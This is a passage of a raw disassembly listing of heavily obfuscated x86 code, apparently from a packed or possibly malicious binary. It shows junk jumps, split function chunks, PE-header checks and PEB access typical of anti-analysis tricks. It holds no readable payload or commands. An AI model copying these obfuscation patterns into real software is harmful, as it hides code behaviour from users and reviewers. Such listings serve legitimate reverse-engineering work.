push eax
push offset sub_425819
jmp locret_4227A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A9D8
loc_42713E: ; CODE XREF: sub_42A9D8+Aj
mov al, [esi]
pop esi
pop ecx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42A9D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C3E
loc_427144: ; CODE XREF: sub_423C3E+71CBj
jmp loc_4280D3
; END OF FUNCTION CHUNK FOR sub_423C3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_427149: ; CODE XREF: sub_42982D-4CDEj
jmp loc_422628
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4210C7
loc_42714E: ; CODE XREF: sub_4210C7+Bj
jmp nullsub_163
; END OF FUNCTION CHUNK FOR sub_4210C7
; ---------------------------------------------------------------------------
loc_427153: ; CODE XREF: _94j21ax3:00422127j
mov esp, ebp
pop ebp
jmp loc_424A87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42715B: ; CODE XREF: sub_42169F:loc_42A6A8j
push offset loc_422CB4
jmp nullsub_111
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_427165: ; CODE XREF: sub_423324:loc_423349j
xor ecx, edi
rol ebp, 19h
jmp loc_4212C5
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
or edi, 0E3308C48h
ror ebx, 1Ch
jmp sub_4276A3
; ---------------------------------------------------------------------------
push ecx
push 601C9105h
pop ecx
add ecx, ds:4000F6h
test ecx, 4
jmp loc_4275D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424320
loc_427195: ; CODE XREF: sub_424320:loc_42432Bj
jz loc_423DCB
jmp loc_424FAB
; END OF FUNCTION CHUNK FOR sub_424320
; =============== S U B R O U T I N E =======================================
sub_4271A0 proc near ; DATA XREF: sub_422048:loc_429ED1o
; FUNCTION CHUNK AT 004282F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AEA5 SIZE 00000008 BYTES
add eax, 18h
mov [ebp-10h], eax
loc_4271A6: ; CODE XREF: sub_42C364+4j
jmp loc_4282F2
sub_4271A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_4271AB: ; CODE XREF: sub_422048+238Bj
push offset sub_423B04
jmp loc_423410
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_4271B5: ; CODE XREF: sub_4221B8:loc_42416Fj
; sub_4221B8+5DDDj
push esi
push 37DD8FAh
pop esi
sub esi, 5F86B737h
add esi, 5C4B5C8Eh
xchg esi, [esp+0]
jmp sub_4210AA
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4271D0: ; CODE XREF: sub_4272E9:loc_4210DDj
xchg esi, [ecx]
jnp loc_42256D
adc esi, edi
pop edi
jmp loc_4246EA
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427668
loc_4271E0: ; CODE XREF: sub_427668-3171j
jl loc_42129F
test edi, 58A19FFFh
jmp loc_427EE5
; END OF FUNCTION CHUNK FOR sub_427668
; =============== S U B R O U T I N E =======================================
sub_4271F1 proc near ; CODE XREF: sub_423324-177j
; sub_428180+Ap
arg_0 = dword ptr 4
mov [esp+0], eax
loc_4271F4: ; CODE XREF: _94j21ax3:loc_42B57Fj
pop eax
xchg edx, [esp-4+arg_0]
loc_4271F8: ; CODE XREF: sub_42A0CC-7EDj
jmp sub_421689
sub_4271F1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB39
loc_4271FD: ; CODE XREF: sub_42BB39:loc_4270EAj
jns sub_427D15
call sub_42A358
loc_427208: ; CODE XREF: sub_42C03F-E6Aj
jmp loc_428874
; END OF FUNCTION CHUNK FOR sub_42BB39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AADB
loc_42720D: ; CODE XREF: sub_42AADB+13j
call sub_426612
mov edx, 8CB242DAh
call sub_4239A5
push eax
ror eax, 0Fh
push offset loc_429F1C
jmp nullsub_124
; END OF FUNCTION CHUNK FOR sub_42AADB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422538
loc_42722A: ; CODE XREF: sub_422538:loc_424E8Ej
push ecx
mov ecx, edi
call sub_42BEDC
; END OF FUNCTION CHUNK FOR sub_422538
; START OF FUNCTION CHUNK FOR sub_424775
loc_427232: ; CODE XREF: sub_424775+21A0j
jmp loc_426A70
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
cmp eax, 0A852CFBh
jmp loc_4278F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_427243: ; DATA XREF: sub_428A90-7218o
mov eax, [ebp-4]
cmp word ptr [eax], 5A4Dh
jnz loc_423E68
jmp loc_428B2E
; ---------------------------------------------------------------------------
loc_427256: ; CODE XREF: _94j21ax3:loc_42839Dj
; _94j21ax3:0042A322j
push offset loc_426FAC
jmp locret_421859
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_427260: ; CODE XREF: sub_423324+6799j
push esi
mov esi, eax
xchg esi, [esp+28h+var_28]
call sub_42B83A
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_421933
jmp loc_42BABD
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_42727D: ; CODE XREF: _94j21ax3:0042A9D1j
xor eax, edx
jmp loc_4228CA
; ---------------------------------------------------------------------------
lea eax, sub_42131B
mov [ebp-4], eax
call sub_429974
mov ds:dword_423454, eax
xor eax, eax
jmp loc_424369
; ---------------------------------------------------------------------------
loc_42729E: ; DATA XREF: sub_42BD30+6o
add ecx, 7A1050F6h
xchg ecx, [esp]
jmp sub_425A09
; ---------------------------------------------------------------------------
loc_4272AC: ; DATA XREF: _94j21ax3:004277CBo
push eax
jmp loc_42A6A3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4272B2 proc near ; CODE XREF: sub_429DCCj
; FUNCTION CHUNK AT 00425389 SIZE 0000000C BYTES
push ebp
mov ebp, esp
xchg ecx, esi
push eax
jmp loc_425389
sub_4272B2 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AB72
loc_4272BE: ; CODE XREF: sub_42AB72+7j
jmp nullsub_128
; END OF FUNCTION CHUNK FOR sub_42AB72
; =============== S U B R O U T I N E =======================================
sub_4272C3 proc near ; CODE XREF: startj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00422DC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004251E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A207 SIZE 0000000E BYTES
push ecx
push 0E08E1DEBh
loc_4272C9: ; CODE XREF: sub_423F55:loc_4297CEj
pop ecx
sub ecx, 439D42EEh
rol ecx, 4
jmp loc_4251E3
sub_4272C3 endp
; =============== S U B R O U T I N E =======================================
sub_4272D8 proc near ; DATA XREF: sub_429DE9+6o
; FUNCTION CHUNK AT 0042365C SIZE 00000012 BYTES
add edi, 1F434BD5h
mov [edi], eax
pop edi
loc_4272E1: ; CODE XREF: sub_42B9CF:loc_42945Fj
mov eax, [ebp-4]
jmp loc_42365C
sub_4272D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4272E9 proc near ; DATA XREF: sub_42A3EE+6o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004210DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421242 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042126C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421547 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00422522 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004227DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422B06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422BE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422C0E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00422DA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004232E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423846 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423A72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004246EA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042513D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004251C3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004255D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042591C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00425B39 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426DF2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004271D0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004273DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427698 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004279B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427B16 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428ADC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004292E1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042969F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042976D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004297BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429FD5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A4BD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A573 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B5A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B9E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C26D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042C34E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042C46E SIZE 00000005 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
jmp loc_42126C
sub_4272E9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4272F4: ; CODE XREF: sub_422EB0+90BCj
sbb ebp, eax
xor eax, edi
; END OF FUNCTION CHUNK FOR sub_422EB0
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4272F8: ; CODE XREF: sub_422EB0+5A78j
; sub_422EB0+5A81j ...
jz loc_42485B
cmp dword ptr [ebp-4], 5
jmp loc_42A930
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_427307: ; CODE XREF: sub_4221B8:loc_429017j
; _94j21ax3:0042902Dj
xor eax, 4B54D7B2h
add eax, 24E4CA82h
xchg eax, [esp+0]
jmp sub_4247A2
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
push eax
push offset sub_423EA4
jmp locret_429108
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BFF0
loc_427326: ; CODE XREF: sub_42BFF0+11j
jz loc_4258F6
mov eax, ds:dword_42C488
mov eax, [eax]
mov ds:dword_42C48C, eax
xor eax, eax
mov ds:dword_42C488, eax
jmp loc_4258F6
; END OF FUNCTION CHUNK FOR sub_42BFF0
; =============== S U B R O U T I N E =======================================
sub_427344 proc near ; CODE XREF: sub_424B01:loc_4299FEj
; sub_42BFF0j
; FUNCTION CHUNK AT 0042554C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425BC8 SIZE 00000005 BYTES
push ebp
jmp loc_425BC8
sub_427344 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_42734A: ; CODE XREF: sub_421CAA+92Aj
add eax, 0FBFFC634h
call sub_42921C
push offset loc_42A41B
jmp loc_4230C4
; END OF FUNCTION CHUNK FOR sub_421CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42735F: ; CODE XREF: sub_42484C:loc_423AB1j
cmp dword ptr [ebp-14h], 6
setz al
jmp loc_42AA26
; ---------------------------------------------------------------------------
loc_42736B: ; CODE XREF: sub_42484C:loc_427AF8j
cmp dword ptr [ebp-10h], 0
jnz loc_429C57
mov eax, [ebp+8]
call sub_42ADA2
loc_42737D: ; CODE XREF: _94j21ax3:loc_42C38Ej
test edi, ebp
jmp loc_423637
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_427384: ; CODE XREF: sub_42C0BC-7B7Ej
pop large dword ptr fs:0
add esp, 4
mov eax, 50h
push ebx
push 7BC8DD6Fh
jmp loc_42C588
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_42739E: ; CODE XREF: _94j21ax3:004235DAj
push 1E997FBEh
cmp ecx, 2F2E9A89h
jmp loc_424AA8
; =============== S U B R O U T I N E =======================================
sub_4273AE proc near ; CODE XREF: sub_4244BB+1p
; _94j21ax3:00428013j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00426BCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042752B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427FB6 SIZE 0000000E BYTES
mov [esp+0], edi
pop edi
push 1BD8CCEDh
pop edi
xor edi, 0FAB03A31h
jmp loc_426BCF
sub_4273AE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
call sub_42574E
mov edx, 0CE3062ECh
call sub_4239A5
call sub_422058
; START OF FUNCTION CHUNK FOR sub_42C473
loc_4273D7: ; CODE XREF: sub_42C473+Ej
jmp loc_42AE93
; END OF FUNCTION CHUNK FOR sub_42C473
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4273DC: ; CODE XREF: sub_4272E9+42C3j
jmp loc_422DA2
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_4273E1: ; CODE XREF: _94j21ax3:0042943Cj
jmp loc_428AEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4273E6: ; CODE XREF: sub_42169F+5339j
jmp loc_422D86
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_4273EB: ; CODE XREF: sub_422392+3j
jmp loc_422CD3
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428954
loc_4273F0: ; CODE XREF: sub_428954:loc_428504j
add eax, [edx+20h]
xor edx, edx
push edx
push eax
mov eax, [ebp-18h]
shl eax, 2
cdq
call sub_422F0A
loc_427403: ; CODE XREF: sub_4266F6+19EFj
jmp nullsub_89
; END OF FUNCTION CHUNK FOR sub_428954
; ---------------------------------------------------------------------------
loc_427408: ; CODE XREF: _94j21ax3:loc_423827j
jl loc_4284B6
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_42740E: ; CODE XREF: sub_42B03C+F6Cj
jmp loc_423BB4
; END OF FUNCTION CHUNK FOR sub_42B03C
; ---------------------------------------------------------------------------
loc_427413: ; CODE XREF: _94j21ax3:004264A9j
jmp loc_42AC55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_427418: ; CODE XREF: sub_4221A3+10j
jmp loc_42C125
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
and edx, edi
cmp ebp, 63FEBF38h
jmp loc_4225E0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_42742B: ; CODE XREF: sub_42134B+99E3j
jmp loc_422582
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_427430: ; CODE XREF: sub_422C48+95ADj
jl loc_428ACD
ror esi, 6
cdq
add esi, ebx
jmp loc_428AC7
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
loc_427441: ; CODE XREF: _94j21ax3:loc_42AE1Cj
add eax, ebp
add eax, 17CE9550h
mov eax, [eax]
jo loc_42860B
add eax, 28h
push edx
push 23B57275h
jmp loc_42C3D6
; ---------------------------------------------------------------------------
loc_42745F: ; CODE XREF: _94j21ax3:00423A6Dj
jg loc_426772
push 0AE50DE8Ah
mov ebx, ebp
loc_42746C: ; CODE XREF: _94j21ax3:loc_424D26j
xor eax, eax
push edx
push 0BC06A113h
pop edx
jmp loc_424C93
; ---------------------------------------------------------------------------
jmp loc_42183B
; ---------------------------------------------------------------------------
jmp loc_429365
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_427484: ; CODE XREF: sub_42C0BC:loc_42A403j
mov eax, large fs:30h
push edx
push 0B70BAD6Bh
pop edx
jmp loc_423F75
; END OF FUNCTION CHUNK FOR sub_42C0BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_427498: ; CODE XREF: sub_421047+98ADj
jmp nullsub_116
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422A20
loc_42749D: ; CODE XREF: sub_422A20:loc_422414j
xor eax, 0CFBB1E0Eh
add eax, ebp
add eax, 115AE740h
push eax
push offset sub_427A68
loc_4274B1: ; CODE XREF: _94j21ax3:loc_4254A8j
jmp loc_4282EB
; END OF FUNCTION CHUNK FOR sub_422A20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429447
loc_4274B6: ; CODE XREF: sub_429447:loc_424293j
xchg ecx, [esp-4+arg_0]
retn
; END OF FUNCTION CHUNK FOR sub_429447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4274BA: ; CODE XREF: sub_42A0CC+AA1j
jmp loc_423F69
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
sub_4274BF proc near ; DATA XREF: sub_429447-6F67o
pop ebp
retn 4
sub_4274BF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4274C3: ; CODE XREF: sub_42284F-92Ej
jmp nullsub_64
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_4274C8: ; CODE XREF: sub_422C48+13j
xchg ebp, ebx
push ebx
jmp loc_425A17
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
jz nullsub_206
jmp loc_429224
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_4274DB: ; CODE XREF: sub_423A56+8183j
jnz loc_425847
jg loc_4289AE
jmp loc_4263E6
; END OF FUNCTION CHUNK FOR sub_423A56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4274EC: ; CODE XREF: sub_42284F:loc_429022j
jz loc_42376A
jmp loc_42BEAC
; ---------------------------------------------------------------------------
loc_4274F7: ; CODE XREF: sub_429629-5E0Dj
; sub_42284F+66EBj
mov ebp, [ecx]
loc_4274F9: ; CODE XREF: sub_429629:loc_42BA3Aj
call sub_429BC2
mov edx, 3BD2EC5Ch
push esi
jmp loc_4258D6
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
call sub_422BD8
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42750E: ; CODE XREF: sub_4294B3:loc_421FC4j
or eax, 0CC0F5BFh
add eax, 31742C12h
loc_42751A: ; CODE XREF: _94j21ax3:loc_4281FFj
call sub_42AB72
loc_42751F: ; CODE XREF: _94j21ax3:loc_424A47j
pop ecx
pop eax
pop ebx
mov ebp, offset loc_426485
loc_427527: ; CODE XREF: _94j21ax3:00421FABj
xchg ebp, [esp-0Ch+arg_8]
retn
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4273AE
loc_42752B: ; CODE XREF: sub_4273AE+C11j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_4273AE
; ---------------------------------------------------------------------------
loc_427530: ; CODE XREF: _94j21ax3:loc_42A13Ej
adc eax, 0E60532AEh
; START OF FUNCTION CHUNK FOR sub_42284F
loc_427536: ; CODE XREF: sub_42284F:loc_42A6CDj
cmp ebx, 75515796h
jmp loc_42AF84
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429BE2
loc_427541: ; CODE XREF: sub_429BE2+1961j
push ds:dword_425BD0
retn
; END OF FUNCTION CHUNK FOR sub_429BE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_427548: ; CODE XREF: sub_42C0BC+2C4j
jmp loc_428577
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429BE2
loc_42754D: ; CODE XREF: sub_429BE2+4j
mov ebp, esp
call nullsub_11
push 6264E5C7h
pop eax
jmp loc_424392
; END OF FUNCTION CHUNK FOR sub_429BE2
; ---------------------------------------------------------------------------
loc_42755F: ; CODE XREF: _94j21ax3:004218EBj
jp loc_425566
; =============== S U B R O U T I N E =======================================
sub_427565 proc near ; CODE XREF: sub_4258EB+40EBp
; FUNCTION CHUNK AT 00422918 SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
pop ebp
push ds:dword_42C48C
jmp loc_422918
sub_427565 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_427575: ; CODE XREF: _94j21ax3:0042B4ECj
mov edx, 0F25CB94Fh
call sub_4239A5
push edx
mov edx, ebx
xchg edx, [esp]
jmp loc_429360
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42758A: ; CODE XREF: sub_421D33:loc_42344Cj
push 0FC8F2D74h
pop eax
xor eax, 52305CE6h
add eax, ebp
add eax, 51408E52h
jmp loc_4280F0
; END OF FUNCTION CHUNK FOR sub_421D33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424DE8
loc_4275A4: ; CODE XREF: sub_424DE8+Bj
pop ebx
push 0E20D9736h
pop eax
add eax, 1E350852h
mov eax, [eax]
or eax, eax
jnz loc_4295B0
jmp loc_422053
; END OF FUNCTION CHUNK FOR sub_424DE8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_4275C1: ; CODE XREF: _94j21ax3:004258C6j
jmp loc_42C1CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425157
loc_4275C6: ; CODE XREF: sub_425157:loc_42241Bj
call sub_42B358
loc_4275CB: ; CODE XREF: _94j21ax3:0042C54Bj
jmp loc_42B8C5
; END OF FUNCTION CHUNK FOR sub_425157
; ---------------------------------------------------------------------------
loc_4275D0: ; CODE XREF: _94j21ax3:0042C3E8j
jmp loc_425847
; ---------------------------------------------------------------------------
loc_4275D5: ; CODE XREF: _94j21ax3:00427190j
jmp loc_424488
; ---------------------------------------------------------------------------
locret_4275DA: ; CODE XREF: _94j21ax3:loc_426542j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_4275DB: ; CODE XREF: sub_42C1AE:loc_42C228j
cmp eax, 80000000h
jbe loc_423047
jmp loc_421F65
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428DA6
loc_4275EB: ; CODE XREF: sub_428DA6+Bj
mov al, [ebp-0Bh]
mov ecx, 8
loc_4275F3: ; CODE XREF: _94j21ax3:loc_422DCCj
; _94j21ax3:loc_42A03Ej
sub ecx, eax
xor eax, eax
mov al, [ebp-9]
shl eax, cl
push offset sub_423900
jmp loc_42A4CD
; END OF FUNCTION CHUNK FOR sub_428DA6
; ---------------------------------------------------------------------------
test ecx, ebp
jmp loc_42C331
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427ABD
loc_42760E: ; CODE XREF: sub_427ABD+3C2Fj
jmp loc_42BAF2
; END OF FUNCTION CHUNK FOR sub_427ABD
; ---------------------------------------------------------------------------
loc_427613: ; CODE XREF: _94j21ax3:0042673Ej
jmp locret_4233A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_427618: ; CODE XREF: sub_429862-21FFj
js loc_421D14
add eax, 0C3587632h
and edi, 0C6138F24h
jbe loc_427D57
cmp esi, 9DA50BC4h
; END OF FUNCTION CHUNK FOR sub_429862
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_427636: ; CODE XREF: sub_422EB0+D2j
jmp loc_4218B3
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_42763B proc near ; DATA XREF: _94j21ax3:0042B69Co
xchg ebx, edi
push edi
xchg ebx, edi
push offset sub_42AE5A
jmp nullsub_224
sub_42763B endp
; ---------------------------------------------------------------------------
loc_42764A: ; CODE XREF: _94j21ax3:00426B5Ej
mov [ebx], ebp
; =============== S U B R O U T I N E =======================================
sub_42764C proc near ; CODE XREF: sub_421D33+490Ap
; FUNCTION CHUNK AT 00428FC4 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042A1B5 SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
mov eax, [ebp-20h]
call sub_422790
jmp loc_42A1B5
sub_42764C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_42765D: ; CODE XREF: sub_429862-6E72j
test ebp, 0AD975D4Ah
jmp loc_427618
; END OF FUNCTION CHUNK FOR sub_429862
; =============== S U B R O U T I N E =======================================
sub_427668 proc near ; DATA XREF: sub_42284F+D2Co
; FUNCTION CHUNK AT 004244F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004271E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427EE5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00429109 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A8AF SIZE 0000000B BYTES
cmp dword ptr [eax], 47424454h
jz loc_42A566
jmp loc_429109
sub_427668 endp
; =============== S U B R O U T I N E =======================================
sub_427679 proc near ; CODE XREF: _94j21ax3:00422A42j
; _94j21ax3:00423C34p
; FUNCTION CHUNK AT 00422EE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004266B4 SIZE 00000006 BYTES
mov [esp+0], eax
pop eax
shr edx, 3
mov ecx, ds:dword_429F74
jmp loc_422EE5
sub_427679 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
test al, al
jz loc_42669A
jmp loc_428712
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_427698: ; CODE XREF: sub_4272E9:loc_4232E5j
add ebp, 62509CFBh
jmp loc_42C26D
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_4276A3 proc near ; CODE XREF: sub_4272E9-5D9Bp
; _94j21ax3:00427178j
; FUNCTION CHUNK AT 004215F0 SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
or eax, eax
jnz loc_42ADE8
jmp loc_4215F0
sub_4276A3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
js loc_42A410
jmp sub_4221A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D15
loc_4276BF: ; CODE XREF: sub_427D15+Dj
cmp ds:dword_426F44, 0
jnz loc_42B891
lea edx, [ebp-14h]
mov eax, offset dword_426F48
call sub_428AE1
lea eax, [ebp-14h]
push eax
jmp loc_424EC3
; END OF FUNCTION CHUNK FOR sub_427D15
; ---------------------------------------------------------------------------
loc_4276E2: ; DATA XREF: sub_422CC1+8o
push 0CC743787h
mov [esp], ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_423428
or eax, eax
jmp loc_424364
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_4276FA: ; CODE XREF: sub_424775+2306j
pop edx
or edx, 5DECE416h
xor edx, 3C40C789h
call sub_4287BF
loc_42770C: ; CODE XREF: sub_4232F5+6789j
jmp loc_42C188
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
loc_427711: ; CODE XREF: _94j21ax3:004257E8j
